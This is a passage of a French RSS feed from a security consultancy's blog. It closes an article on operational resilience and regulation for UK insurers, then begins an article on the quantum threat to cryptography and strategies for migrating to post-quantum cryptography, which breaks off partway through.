<p>Classement par niveaux de complexité du produit</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Placement en réassurance</p>
</td>
<td style="height: 100px;" width="200">
<p>3–5 jours ouvrés</p>
</td>
<td style="height: 100px;" width="200">
<p>Impact indirect sur les assurés de première ligne</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Connexion avec les courtiers</p>
</td>
<td style="height: 100px;" width="200">
<p>1 jour ouvré</p>
</td>
<td style="height: 100px;" width="200">
<p>Continuité des ventes et de la distribution</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"> </p>
<p> </p>
<h2><strong> Tendances réglementaires : perspectives 2025–2030</strong></h2>
<p style="text-align: justify;">Alors que le secteur de l’assurance doit faire face à des exigences opérationnelles en constante évolution, il est tout aussi essentiel d’anticiper les mutations du paysage réglementaire qui marqueront les années à venir.<br />Les perspectives suivantes mettent en lumière les principales tendances réglementaires prévues pour la période 2025 à 2030, en exposant les exigences clés en matière de conformité ainsi que les évolutions attendues qui façonneront les cadres de gestion des risques et de <em>reporting</em> du secteur de l’assurance au Royaume-Uni.</p>
<table style="width: 100%; background-color: #f4f2f5;" width="100%">
<tbody>
<tr>
<td style="width: 17.0238%;" width="108">
<p><strong>Echéance</strong></p>
</td>
<td style="width: 27.381%;" width="176">
<p><strong>Sujet</strong></p>
</td>
<td style="width: 32.7381%;" width="211">
<p><strong>Evolution prévue</strong></p>
</td>
<td style="width: 21.4286%;" width="137">
<p><strong>Principaux Régulateurs</strong></p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>Q4 2025</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Analyses des incidents auprès de la <em>Financial Conduct Authority</em> (FCA) et de la <em>Prudential Regulation Authority </em>(PRA)</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Divulgation obligatoire en temps réel et par niveaux</p>
</td>
<td style="width: 21.4286%;" width="137">
<p>FCA, PRA</p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>2025-26</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Projet de loi britannique sur la cybersécurité et la résilience</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Modernisation du cadre de cybersécurité du Royaume-Uni et renforcement la réglementation</p>
</td>
<td style="width: 21.4286%;" width="137">
<p><em>Information Commissioner&rsquo;s Office</em> (ICO)</p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>2025–2027</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Supervision critique des tiers</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Gouvernance prescriptive pour le cloud, les données et les fournisseurs de services</p>
</td>
<td style="width: 21.4286%;" width="137">
<p>FCA, PRA</p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>2026</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Tests de résilience sous contrainte DyGIST de la PRA</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Tests de résistance à l’échelle du secteur sur la liquidité et les fonds propres</p>
</td>
<td style="width: 21.4286%;" width="137">
<p>PRA</p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>Q2 2025</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Risque climatique (mise à jour SS3/19)</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Mandats étendus pour les tests de résistance et de gouvernance</p>
</td>
<td style="width: 21.4286%;" width="137">
<p>PRA</p>
</td>
</tr>
<tr>
<td style="width: 17.0238%;" width="108">
<p>2025–2030</p>
</td>
<td style="width: 27.381%;" width="176">
<p>Réforme de la régulation des captives</p>
</td>
<td style="width: 32.7381%;" width="211">
<p>Modernisation des captives basées au Royaume-Uni en cours d’examen</p>
</td>
<td style="width: 21.4286%;" width="137">
<p>PRA, FCA</p>
</td>
</tr>
</tbody>
</table>
<p> </p>
<p style="text-align: justify;">Il est important de reconnaître qu’à mesure que la réglementation dans ce domaine continue d’évoluer, les régulateurs britanniques tels que la FCA et la PRA tendent à s’aligner davantage sur les grands cadres européens, notamment le <strong>Règlement européen sur la résilience opérationnelle numérique (DORA)</strong> et la <strong>directive sur la sécurité des réseaux et de l&rsquo;information (NIS)</strong>.</p>
<p style="text-align: justify;">Cet alignement traduit une prise de conscience de l’interconnexion des marchés financiers et des services critiques au-delà des frontières, ainsi que de la nécessité d’appliquer des normes cohérentes et renforcées en matière de résilience opérationnelle et cyber.</p>
<p style="text-align: justify;">La FCA et la PRA ont publié des consultations et des orientations indiquant leur intention d’intégrer les principes fondamentaux de DORA et de NIS — tels que la gestion renforcée des risques liés aux tiers, des obligations harmonisées de déclaration d’incidents, et des tests de résilience à l’échelle du secteur — dans le régime réglementaire britannique.<br />Cette convergence garantit que les institutions financières, les assureurs et les prestataires de services du Royaume-Uni soient préparés non seulement aux exigences réglementaires nationales, mais également aux impératifs d’un marché global et numériquement intégré.</p>
<p> </p>
<p> </p>
<h2><strong> Liste de vérification de la résilience pour les conseils d’administration</strong></h2>
<p style="text-align: justify;">À la lumière de ces évolutions réglementaires à venir et des réformes stratégiques en cours, il est essentiel que les conseils d’administration évaluent et renforcent leurs cadres de résilience organisationnelle.<br />La liste suivante est conçue pour aider les équipes dirigeantes à évaluer de manière proactive leur niveau de préparation, à garantir une gouvernance solide et à intégrer la résilience au cœur des processus décisionnels.</p>
<ul style="text-align: justify;">
<li><strong>Couverture EMV</strong> : Votre Entreprise Minimum Viable (EMV) est-elle clairement définie, cartographiée et testée sous contrainte pour garantir la continuité des services essentiels ?</li>
<li><strong>Étalonnage de la tolérance à l’impact</strong> : Avez-vous validé des tolérances réalistes à travers des analyses de scénarios, et les avez-vous comparées à celles d&rsquo;institutions similaires et aux exigences réglementaires ?</li>
<li><strong>Visibilité des risques liés aux tiers</strong> : Disposez-vous d’une visibilité en temps réel sur vos dépendances critiques externes, avec des plans de secours et des clauses de résilience dans les contrats ?</li>
<li><strong>Fonctions de résilience intégrées</strong> : Vos équipes en résilience opérationnelle, cybersécurité, gestion des tiers, gestion des risques et de communication au conseil d’administration sont-elles alignées sur le plan stratégique et cohérentes ?</li>
<li><strong>Préparation à la gestion des incidents</strong> : Disposez-vous de mécanismes robustes pour la déclaration multicanal des incidents (interne et externe), ainsi que d’un dialogue actif avec les régulateurs, soutenu par des plans d’action éprouvés ?</li>
<li><strong>Alignement de l’assurance cyber</strong> : Votre couverture d’assurance cyber est-elle adaptée à votre profil de risque spécifique, et testée face à des scénarios de menaces en évolution portant sur des actifs critiques ?</li>
<li><strong>Responsabilisation du conseil</strong> : Les membres du conseil d’administration ont-ils été formés à la surveillance de la résilience et de la cybersécurité, et reçoivent-ils des rapports réguliers des fonctions de gestion des risques intégrées pour garantir une gouvernance éclairée ?</li>
<li><strong>Culture de la résilience</strong> : Une culture de la résilience est-elle ancrée dans toute l’organisation — du comité exécutif aux équipes opérationnelles — pour encourager la prise de responsabilité proactive et l’amélioration continue face aux risques ?</li>
<li><strong>Veille réglementaire et anticipation</strong> : Suivons-nous de manière proactive les évolutions réglementaires locales et internationales (par ex. DORA de l’UE, FCA SS1/21, règles cyber de la SEC), tout en assurant la sensibilisation et la préparation au niveau du conseil d’administration ?</li>
</ul>
<p> </p>
<p> </p>
<p style="text-align: justify;">Le secteur britannique de l’assurance et de la réassurance est bien capitalisé, en pleine transformation numérique, et stratégiquement positionné pour la croissance.<br />Mais la <strong>résilience</strong> — qu’elle soit <strong>opérationnelle</strong>, <strong>cyber</strong>, ou liée aux <strong>tiers</strong> — reste le facteur déterminant du succès à long terme.</p>
<p style="text-align: justify;">En harmonisant soigneusement leurs stratégies de résilience avec les normes internationales les plus avancées, les organisations peuvent non seulement renforcer leur position sur le marché, mais aussi gagner la confiance durable des parties prenantes.<br />Cette approche proactive permet de rester conforme dans un environnement réglementaire en constante évolution, tout en consolidant la capacité à atténuer les risques transfrontaliers et à réagir de manière décisive face à des perturbations imprévues.</p>
<p style="text-align: justify;">Dans un monde où les menaces numériques et les vulnérabilités des chaînes d’approvisionnement dépassent les frontières géographiques, développer une <strong>résilience reconnue à l’échelle internationale</strong> n’est pas seulement une obligation réglementaire, mais un <strong>pilier fondamental d’une stratégie d’entreprise durable et tournée vers l’avenir</strong>.</p>
<p style="text-align: justify;"><strong>En conclusion</strong>, les dirigeants doivent intégrer des cadres de résilience robustes et intégrés pour garantir une croissance et une stabilité à long terme. En cultivant une culture de gestion proactive des risques et de veille réglementaire, les institutions peuvent se positionner à l’avant-garde de l’excellence opérationnelle — prêtes non seulement à faire face aux défis, mais à les transformer en opportunités de succès durable.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27046" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1.png" alt="Key priorities organizations to consider within 2025-2030 Operational Resilience Strategies: Innovate and automation, from recovery to value creation, resilience culture, secure foundations" width="677" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1.png 677w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1-350x191.png 350w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1-71x39.png 71w" sizes="auto, (max-width: 677px) 100vw, 677px" /></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/resilience-par-design-les-imperatifs-strategiques-pour-les-assureurs-generaux-et-de-reassurance-au-royaume-uni-2025-2030/">Résilience par design : Les impératifs stratégiques pour les assureurs généraux et de réassurance au Royaume-Uni (2025 – 2030)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/09/resilience-par-design-les-imperatifs-strategiques-pour-les-assureurs-generaux-et-de-reassurance-au-royaume-uni-2025-2030/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ordinateur quantique et cryptographie post-quantique : quelle stratégie les entreprises doivent-elles adopter sur ces éléments ?</title>
		<link>https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/#respond</comments>
		
		<dc:creator><![CDATA[Loïc NGOM]]></dc:creator>
		<pubDate>Mon, 17 Mar 2025 12:09:02 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Identity]]></category>
		<category><![CDATA[cryptographie]]></category>
		<category><![CDATA[cryptographie post quantique]]></category>
		<category><![CDATA[Gestion des risques]]></category>
		<category><![CDATA[ordinateur quantique]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=25561</guid>

					<description><![CDATA[<p>Et si vos données les plus sensibles devenaient accessibles en un instant ? L’effervescence croissante au sujet de l’avènement des ordinateurs quantiques est justifiée pour un sujet qui ne relève plus de la science-fiction, mais qui implique une menace d’un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/">Ordinateur quantique et cryptographie post-quantique : quelle stratégie les entreprises doivent-elles adopter sur ces éléments ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 style="text-align: justify;">Et si vos données les plus sensibles devenaient accessibles en un instant ?</h3>
<p style="text-align: justify;">L’effervescence croissante au sujet de l’avènement des ordinateurs quantiques est justifiée pour un sujet qui ne relève plus de la science-fiction, mais qui implique une menace d’un nouveau genre.</p>
<p style="text-align: justify;">En effet, selon les prévisions de nombreux experts tels que le <a href="https://globalriskinstitute.org/publication/2023-quantum-threat-timeline-report/">Global Risk Institute</a>, les ordinateurs quantiques devraient prochainement être capables de résoudre les problèmes mathématiques qui sous-tendent les standards cryptographiques actuels – ce qui, en conséquence, rendrait obsolètes les systèmes classiques protégeant nos communications, nos finances et nos infrastructures critiques.</p>
<p style="text-align: justify;">Pour les entreprises, l’urgence n’est plus de se demander <em>si</em> cette menace deviendra réalité, mais <em>quand</em>. Comment anticiper les impacts opérationnels et structurels de ce bouleversement technologique tout en répondant aux recommandations croissantes des régulations à ce sujet ? Quels outils adopter pour garantir la confidentialité et l’intégrité des données dans un futur proche ? Le défi est de taille, mais des solutions sont à l’étude comme la cryptographie post-quantique (PQC), déjà massivement plébiscitée par la communauté internationale. </p>
<p style="text-align: justify;"><strong><em> </em></strong></p>
<h2 style="text-align: justify;">La menace quantique</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Aujourd’hui, la sécurité des systèmes d’information repose principalement sur la cryptographie <strong>symétrique</strong>, <strong>asymétrique</strong> (ou à <strong>clé publique</strong>) et les fonctions de <strong>hachage</strong>. Ces catégories sont représentées par des algorithmes largement utilisés aujourd’hui, en particulier <strong>AES</strong><strong>, RSA, ECC</strong><strong>, </strong>ainsi que<strong> SHA </strong>pour les fonctions de<strong> hachage</strong>. Adoptés massivement par la communauté mondiale et intégrés nativement dans de nombreux dispositifs modernes, ces algorithmes ont fait leurs preuves depuis des décennies pour assurer la confidentialité, l’authenticité et l’intégrité des échanges de données.</p>
<p style="text-align: justify;">Les problèmes mathématiques sur lesquels sont basés ces standards présentent un niveau de complexité de calcul <strong>suffisant</strong> pour assurer l’<strong>absence</strong> de capacité de <strong>brute-force</strong> même avec les meilleurs supercalculateurs actuels.</p>
<p style="text-align: justify;">L’ordinateur quantique vient rebattre ces cartes.</p>
<p style="text-align: justify;">Ces machines reposent sur des principes <strong>physiques</strong> fondamentalement différents des ordinateurs classiques actuels. Grâce aux phénomènes de <strong>superposition</strong> et d&rsquo;<strong>intrication</strong>, un processeur quantique peut traiter <strong>simultanément</strong> différents états physiques. Ce que l&rsquo;on décrit souvent comme du « parallélisme quantique » ne correspond pas à un simple calcul parallèle classique (où plusieurs cœurs exécutent des tâches identiques), mais à la capacité d&rsquo;explorer <strong>simultanément </strong>de <strong>multiples</strong> chemins d&rsquo;exécution. Pour certains algorithmes, cette approche permet de <strong>réduire</strong> considérablement l&rsquo;espace de recherche et d&rsquo;<strong>accélérer</strong> le traitement.</p>
<p style="text-align: justify;">Une question essentielle se pose alors : <em>existe-t-il déjà des algorithmes capables d’exploiter ces propriétés quantiques, et ainsi de venir à bout des standards de chiffrement actuels ?</em></p>
<p style="text-align: justify;">En 1994<strong>, P. Shor</strong>, suivi de <strong>L. Grover</strong> en 1996, introduisent des algorithmes intégrant des processus de <strong>calcul quantique</strong> pour résoudre certains problèmes mathématiques complexes. Le premier permet de <strong>factoriser de grands nombres</strong> de manière exponentiellement plus rapide qu’un algorithme classique, tandis que le second optimise la <strong>recherche d’un élément</strong> dans des ensembles non ordonnés. Si les caractéristiques  des ordinateurs classiques rendaient jusque-là leur mise en œuvre impraticable, l’émergence des ordinateurs quantiques changerait radicalement la donne, rendant ces algorithmes exploitables. </p>
<p style="text-align: justify;">En effet, le meilleur supercalculateur mettrait<a target="_blank" rel="noreferrer noopener"> </a><a title="https://www.eetimes.com/how-secure-is-aes-against-brute-force-attacks/?_ga" href="https://www.eetimes.com/how-secure-is-aes-against-brute-force-attacks/?_ga" target="_blank" rel="noreferrer noopener"><strong>1.02 x 10¹⁸ </strong><strong>ans</strong> (un trillion d’années) pour casser <strong>AES-128</strong> par force brute</a> et <a title="https://www.digicert.com/faq/cryptography/what-is-ssl-cryptography" href="https://www.digicert.com/faq/cryptography/what-is-ssl-cryptography" target="_blank" rel="noreferrer noopener"><strong>10¹⁰ ans </strong>(10 milliards d’années) pour <strong>RSA-2048</strong></a> avec les meilleures méthodes actuelles. En comparaison, un ordinateur quantique exécutant <strong>l’algorithme de Grover</strong> pourrait briser AES-128 en <strong>600 ans</strong>, tandis que <strong>l’algorithme de Shor</strong> viendrait à bout de <a href="https://www.technologyreview.com/s/613596/how-a-quantum-computer-could-break-2048-bit-rsa-encryption-in-8-hours/">RSA-2048 en <strong>seulement 8 heures</strong></a> avec une machine de 20 millions de qubits.</p>
<p style="text-align: justify;">Face à cette menace, <strong>AES</strong> et la <strong>cryptographie symétrique, </strong>ainsi que <a href="https://learning.quantum.ibm.com/course/practical-introduction-to-quantum-safe-cryptography/cryptographic-hash-functions"><strong>SHA-256</strong> et les <strong>fonctions de hachages</strong></a> restent viables en <strong>doublant</strong> la taille des clés utilisées, mais la cryptographie asymétrique doit être repensée. Dans cette optique, l<strong>a cryptographie post-quantique s’impose comme la solution la plus prometteuse.</strong> </p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Qu’est-ce que la cryptographie post-quantique ?</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Selon l’ANSSI, « la cryptographie post-quantique (PQC) est un ensemble d’algorithmes cryptographiques classiques comprenant les <strong>établissements de clés </strong>et les <strong>signatures numériques, </strong>et assurant une sécurité conjecturée vis-à-vis de la menace <strong>quantique</strong> en plus de leur sécurité <strong>classique</strong> ».</p>
<p style="text-align: justify;">Cela désigne donc l’ensemble des nouveaux algorithmes de chiffrement <strong>asymétriques </strong>capables de garantir la sécurité à la fois face aux<strong> attaques classiques</strong>, et face aux nouvelles attaques<strong> quantiques</strong>. La différence avec ceux que nous utilisons aujourd’hui réside essentiellement dans les <strong>problèmes mathématiques</strong> sous-jacents aux algorithmes, choisis pour rester complexes à résoudre, même pour un ordinateur quantique.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Pourquoi cette solution est-elle considérée comme la plus prometteuse ?</h3>
<p style="text-align: justify;">La PQC n’est pas la seule réponse envisagée face à la menace quantique, mais elle est largement considérée comme étant la solution la plus viable selon la communauté internationale. Plusieurs facteurs expliquent cet intérêt, parmi lesquels on retrouve :</p>
<ul style="text-align: justify;">
<li><strong>Une continuité avec les systèmes actuels</strong>, facilitant son adoption et son intégration progressive dans les infrastructures classiques.</li>
<li><strong>Une maturité avancée</strong>, avec des standards déjà établis et soutenus par les principales autorités en cybersécurité.</li>
</ul>
<p style="text-align: justify;"><strong> </strong></p>
<h3 style="text-align: justify;">Une continuité avec les systèmes actuels</h3>
<p style="text-align: justify;">Comment cette cryptographie de nature <em>classique</em> permet-elle de protéger les données chiffrées face aux attaques quantiques ?</p>
<p style="text-align: justify;">La PQC n’implique pas un changement de paradigme dans notre approche de sécurisation des infrastructures. Comme évoqué plus tôt, la PQC s’inscrit dans la <em>famille </em>de la cryptographie asymétrique et conserve donc le même fonctionnement et objectif que les algorithmes à clé publique actuels. Sa résistance face aux attaques quantiques est assurée par la <strong>nature</strong> des problèmes mathématiques sous-jacents, différents de ceux utilisés par la cryptographie asymétrique classique.  Cette différence structurelle permet également une intégration plus fluide de cette cryptographie dans les infrastructures numériques actuelles, assurant ainsi une transition progressive vers un avenir où la PQC supplanterait totalement et efficacement les standards de chiffrement modernes.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Une maturité avancée</h3>
<p style="text-align: justify;">Le deuxième atout majeur de la PQC est sa maturité par rapport aux autres options envisagées. En effet, cette année a été marquée la <a href="https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards">publication des standards de PQC par le <em>National Institute of Standards and Technology</em></a> (NIST) américain en août 2024.</p>
<p style="text-align: justify;">Ce processus a débuté en 2017 avec 69 candidats initiaux, dont 4 ont été retenus afin de devenir les nouveaux standards de PQC. Aucune des autres solutions évoquées pour contrer la menace à venir, parmi lesquelles se trouve la cryptographie quantique (basée sur l’usage des propriétés quantiques en opposition à la PQC, dont les implémentations sont possibles sur des ordinateurs classiques), n’ont été l’objet d’un processus de standardisation.</p>
<p style="text-align: justify;">De surcroît, les organismes de cybersécurité nationaux tels que <a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique-0">l’ANSSI (France)</a>, <a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf">la BSI (Allemagne), la NLNCSA (Pays-Bas), la SFA (Suède)</a>, le <a href="https://www.ncsc.gov.uk/whitepaper/preparing-for-quantum-safe-cryptography">NCSC (UK),</a> la <a href="https://www.nsa.gov/Cybersecurity/Quantum-Key-Distribution-QKD-and-Quantum-Cryptography-QC/">NSA (USA)</a> etc. s’accordent tous à dire que la PQC est la meilleure façon de se prémunir contre la menace quantique, et que la priorité des entreprises doit être la migration vers des systèmes de PQC.</p>
<p style="text-align: justify;"><strong><em> </em></strong></p>
<h2 style="text-align: justify;">Quand et comment mettre en place cette technologie ?</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Les prédictions des organismes de recherche sur l’avènement  de la menace quantique restent encore assez disparates, mais s’accordent néanmoins à annoncer que des ordinateurs quantiques capables d’exécuter des algorithmes responsables de la future désuétude des standards de cryptographie actuelle, appelés en anglais <strong><em>Cryptographically Relevant Quantum Computer</em></strong> (CRQC) rendront obsolètes RSA-2048 notamment, d’ici les <a href="https://www.splunk.com/en_us/blog/learn/crqcs-cryptographically-relevant-quantum-computers.html"><strong>15 prochaines années</strong></a>. En effet, il est difficile de prédire avec exactitude quand l’ordinateur quantique sera prêt et atteindra des <strong>performances suffisantes </strong>pour des cas d’usage <strong>concrets</strong>, mais les croisements entre les recommandations d’organismes comme la la <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF">NSA</a> et les prédictions <a href="https://globalriskinstitute.org/publication/2023-quantum-threat-timeline-report/">d’experts</a> sur le sujet nous permettent d’estimer l’émergence des premiers <strong>CRQC</strong> entre <strong>2033</strong> et <strong>2037</strong>. </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Harvest now, decrypt later</h3>
<p style="text-align: justify;">Nous ne disposons pas pour autant de 10 ans devant nous pour nous armer face à cette menace. Les données en transit actuellement restent <strong>exposées</strong> aux attaques de type « <em>harvest now, decrypt later</em> ». Ce sont des attaques reposant sur <strong>l’interception</strong> et le <strong>stockage</strong> à long terme de <strong>données chiffrées</strong>, dans l&rsquo;attente des percées technologiques en matière de décryptage qui les rendraient <strong>lisibles</strong> à l&rsquo;avenir.</p>
<p style="text-align: justify;">Les données ciblées par ce type d’attaques sont principalement des données en <strong>transit</strong>, car c&rsquo;est lors de leur <strong>transport</strong> que des protocoles comme <strong>TLS</strong> utilisent des paires de clés <strong>asymétriques</strong>. C&rsquo;est à ce moment que la donnée est « <strong>vulnérable au quantique</strong> » et donc intéressante à intercepter puis stocker afin de la déchiffrer ultérieurement. Les données au <strong>repos</strong> sont au contraire généralement chiffrées à l&rsquo;aide d&rsquo;algorithmes <strong>symétriques</strong>, et requiert d’être exfiltrées pour être capturées, elles ne sont donc pas la cible de ces attaques.</p>
<p style="text-align: justify;">Le risque principal de ces attaques demeure la violation de la <strong>confidentialité</strong> à long terme de données. Selon les secteurs, notamment <strong>financier</strong> ou <strong>industriel</strong>, les données peuvent rester sensibles sur de <strong>longues</strong> <strong>périodes</strong> et par conséquent l’accès à ces informations peut entraîner des conséquences multiples graves. </p>
<p style="text-align: justify;">Il est raisonnable de considérer que des attaquants pourraient <strong>actuellement</strong> récupérer une quantité considérable de données chiffrées afin de les décrypter ultérieurement. Dès lors, il est impératif d’amorcer une migration vers des systèmes cryptographiques résistants aux algorithmes quantiques <strong>dès aujourd&rsquo;hui.</strong> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Recommandations des organismes au sujet de la préparation</h3>
<p style="text-align: justify;">La <a href="https://media.defense.gov/2023/Aug/21/2003284212/-1/-1/0/CSI-QUANTUM-READINESS.PDF"><strong>CISA</strong>, la <strong>NSA</strong> et le <strong>NIST</strong></a> américain pour ne citer qu’eux, exhortent les entreprises à se préparer dès maintenant en établissant une <strong>feuille de route quantique</strong>, pilotée par une <strong>équipe projet dédiée</strong>, dont le but serait de <strong>planifier</strong> et <strong>superviser</strong> la <strong>migration</strong> de l’organisation vers la <strong>PQC</strong>.</p>
<p style="text-align: justify;">Le <strong>cadrage</strong> du projet devra être axé sur ces 3 volets principaux :</p>
<ol style="text-align: justify;">
<li><strong>Inventaire cryptographique : </strong>l’objectif est de comprendre l’exposition de l’organisation aux mécanismes cryptographiques vulnérables. Cela passe par l’identification des technologies utilisées au sein des systèmes, des protocoles réseaux, des applications, et des bibliothèques de programmation.</li>
</ol>
<ol style="text-align: justify;" start="2">
<li><strong>Analyse de risques :</strong> cet axe vise à prioriser les actifs et processus à sécuriser en premier. Il s’agit d’évaluer la <strong>criticité</strong> des données protégées, mais aussi <strong>d’anticiper leur durée de protection nécessaire</strong>. Cette analyse repose sur l’inventaire cryptographique fait en amont et permet de cibler les efforts là où l’impact d’une attaque quantique serait le plus critique.</li>
</ol>
<ol style="text-align: justify;" start="3">
<li><strong>Responsabilité des fournisseurs : </strong>la transition vers la cryptographie post-quantique implique également un travail étroit avec les partenaires technologiques. Les entreprises doivent s’assurer de la crypto-agilité des solutions qu’elles utilisent : les produits actuels pourront-ils être <strong>mis à jour</strong> vers des systèmes résistants à la menace quantique ou devront-ils être <strong>remplacés</strong> pour éviter l’obsolescence ?</li>
</ol>
<p style="text-align: justify;">La <strong>stratégie de migration</strong> que nous préconisons chez <strong>Wavestone</strong> reprend les grandes étapes évoquées par la <strong>CISA</strong>, la <strong>NSA</strong> et le <strong>NIST</strong>, et les approfondit en les adaptant aux réalités opérationnelles de chaque entreprise :</p>
<ol style="text-align: justify;">
<li><strong>Phase stratégique :</strong>
<ul>
<li><strong>Compréhension et sensibilisation</strong> : Premièrement, il s’agit de former et d’informer l’ensemble des acteurs (direction, équipes métiers, équipes techniques) sur l’impact de la menace quantique, les enjeux liés à la cryptographie post-quantique, ainsi que sur les grandes orientations réglementaires.</li>
<li><strong>Évaluation des risques et inventaire initial</strong> : Cartographie des usages cryptographiques (protocoles, bibliothèques, applications, etc.) et identification des données sensibles devant rester confidentielles sur une longue période. C’est également à ce stade que l’on évalue la maturité de l’entreprise et qu’on priorise les chantiers les plus critiques.</li>
<li><strong>Cadrage du programme</strong> : Sur la base des risques identifiés, la feuille de route globale (objectifs, budget, organisation) est définie. Une <strong>équipe dédiée</strong> – ou “centre d’excellence” – est créée pour piloter la transition, coordonner les différents chantiers et définir les indicateurs de succès.</li>
</ul>
</li>
<li><strong>Quick wins</strong>
<ul>
<li>Avant d’entrer dans une phase de transformation plus lourde, nous préconisons de <strong>lancer rapidement des initiatives</strong> à faible investissement, par exemple inclure des <strong>clauses post-quantiques dans les contrats</strong> (fournisseurs, partenaires). L’objectif est d’obtenir des retours concrets, de sensibiliser davantage les parties prenantes et de créer une dynamique positive autour du projet.</li>
</ul>
</li>
<li><strong>Programme de transition</strong>
<ul>
<li><strong>Test d’un premier cas d’usage</strong> : Sélection d’un cas d’usage représentatif pour déployer, en conditions réelles, les premiers algorithmes ou mécanismes de cryptographie post-quantiques.</li>
<li><strong>Inventaire détaillé (seconde itération)</strong> : Il faut ensuite affiner la cartographie des composants cryptographiques (PKI, gestion de clés, protocoles réseaux, librairies de chiffrement, etc.) afin de planifier précisément la migration.</li>
<li><strong>Modernisation de la “confiance numérique”</strong> : Il s’agit d’<strong>actualiser les infrastructures</strong> (PKI, gestion de certificats, politiques de rotation de clés…) et de mettre en place des <strong>procédures</strong> permettant d’accueillir les nouveaux algorithmes.</li>
<li><strong>Migration et veille</strong> : Déploiement progressif des algorithmes post-quantiques sur les systèmes critiques, tout en maintenant la continuité de service. Cette phase s’accompagne de contrôles, de tests de performance et de vérifications de sécurité. À terme, l’ensemble du SI est couvert, garantissant la pérennité et la conformité réglementaire.</li>
</ul>
</li>
</ol>
<p style="text-align: justify;">Cette feuille de route, à la fois pragmatique et en phase avec les préconisations des organismes compétents, <strong>garantit</strong> une transition maîtrisée vers la cryptographie post-quantique. </p>
<p style="text-align: justify;"><strong> </strong></p>
<h3 style="text-align: justify;">L’hybridation évoquée en Europe comme une étape importante dans la transition</h3>
<p style="text-align: justify;"><a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf">L’<strong>ANSSI</strong></a> dans une publication commune avec plusieurs de ses homologues européens <a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf"><strong>BSI</strong>, <strong>NLNCSA</strong>, <strong>SNCSA</strong>, et <strong>SFA</strong></a>, recommandent également une préparation à cette transition devant débuter le tôt possible. Bien que les nouveaux standards de PQC incluant les algorithmes, les instructions d&rsquo;implémentation, et leur utilisation, ont été publiés par le NIST en août 2024, ces organismes n’encouragent pas l’intégration <strong>immédiate</strong> de ces algorithmes dans les systèmes cryptographiques des entreprises. L’ANSSI annonce même <a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique">« n’approuver aucun remplacement direct à court ou moyen terme ».</a> En cause, « un manque de recul cryptanalytique sur plusieurs aspects de sécurité » ; malgré son processus de standardisation terminé, la PQC n’est pas encore considérée suffisamment mature pour garantir la sécurité à elle seule :</p>
<ul style="text-align: justify;">
<li>Plusieurs algorithmes finalistes (et donc jugés comme prometteurs) du processus de standardisation du NIST ont été l’objet d’attaques <strong>classiques </strong>ayant abouties. L’algorithme <strong>SIKE</strong> dont on est venu à bout en 10min, et <strong>Rainbow</strong> en un week-end.</li>
<li>Le dimensionnement, l’intégration des algorithmes dans des protocoles de communication, et la conception d&rsquo;implémentations sécurisées sont d’autres aspects sur lesquels il faut progresser selon l’ANSSI.</li>
</ul>
<p style="text-align: justify;"> </p>
